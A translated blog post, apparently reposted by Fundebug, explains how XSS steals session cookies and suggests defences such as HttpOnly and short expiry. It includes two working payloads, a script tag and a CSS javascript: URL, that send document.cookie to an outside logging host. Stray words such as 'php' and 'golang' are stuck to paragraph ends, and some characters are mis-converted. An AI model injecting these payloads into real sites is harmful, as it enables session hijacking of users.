XSS攻擊之竊取Cookie

譯者按: 10 年前的博客彷佛有點老了,可是XSS 攻擊的威脅依然還在,咱們不得不防。javascript

本文采用意譯,版權歸原做者全部php

竊取Cookie是很是簡單的,所以不要輕易相信客戶端所聲明的身份。即使這個Cookie是在數秒以前驗證過,那也未必是真的,尤爲當你僅使用Cookie驗證客戶端的時候。css

2006 年 1 月,LiveJournal遭到了XSS攻擊,這個事件足以警示咱們。還有,2006 年 10 月,MySapce也遭到了XSS攻擊,這告訴咱們必須很是謹慎地過濾用戶發佈的文本,由於黑客能夠在文本中摻雜一些 JavaScript 代碼,以此竊取登錄用戶的Cookiehtml

正如黑客攻擊LiveJournal那樣,你不須要在登錄用戶的瀏覽器進行任何操做,而能夠在第三方進行全部操做。更糟糕的是,竊取Cookie事實上操做起來很是簡單,可是防範起來卻很是困難java

下面的的 JavaScript 代碼就能夠竊取Cookie,是否是很簡單?git

<script> new Image().src = "http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie); </script>
複製代碼

若是我能夠將這段代碼插入到某個登錄用戶的頁面,則Cookie就會經過 HTTP 請求發送給我,而後我就能夠僞造那個可憐的登錄用戶了!github

在 IE 瀏覽器上,能夠經過在 CSS 代碼中執行 JavaScript 來竊取Cookie,也很簡單。golang

<style>
.getcookies{
    background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');
}
</style>
<p class="getcookies"></p>
複製代碼

若是你對用戶發佈的文本內容不進行嚴格的過濾的話,黑客就能夠很方便地竊取Cookie。是否是很可怕?若是你是一個負責任的開發者的話,你就應該保持警戒!所以,你必須假設全部用戶的Cookie都被竊取了。注意,是全部用戶,對於這一點,我不想含糊其辭。web

爲了保證安全:請不停地重設session的重設;將過時時間設置短一些;監控referreruserAgent的值;使用HttpOnly禁止腳本讀取Cookie。這些措施並不是萬無一失,可是增長了黑客的難度,所以也是有效的。小程序

若是你對MySapce遭到的XSS攻擊不瞭解,能夠查看黑客本人公開的技術細節,頗有趣,不過切勿模仿,由於他爲本身的行爲此付出了不小的代價:三年內被禁止使用電腦!

參考連接

關於Fundebug

Fundebug專一於JavaScript、微信小程序、微信小遊戲、支付寶小程序、React Native、Node.js和Java線上應用實時BUG監控。 自從2016年雙十一正式上線,Fundebug累計處理了10億+錯誤事件,付費客戶有Google、360、金山軟件、百姓網等衆多品牌企業。歡迎你們免費試用

版權聲明

轉載時請註明做者Fundebug以及本文地址: blog.fundebug.com/2017/08/16/…

相關文章
相關標籤/搜索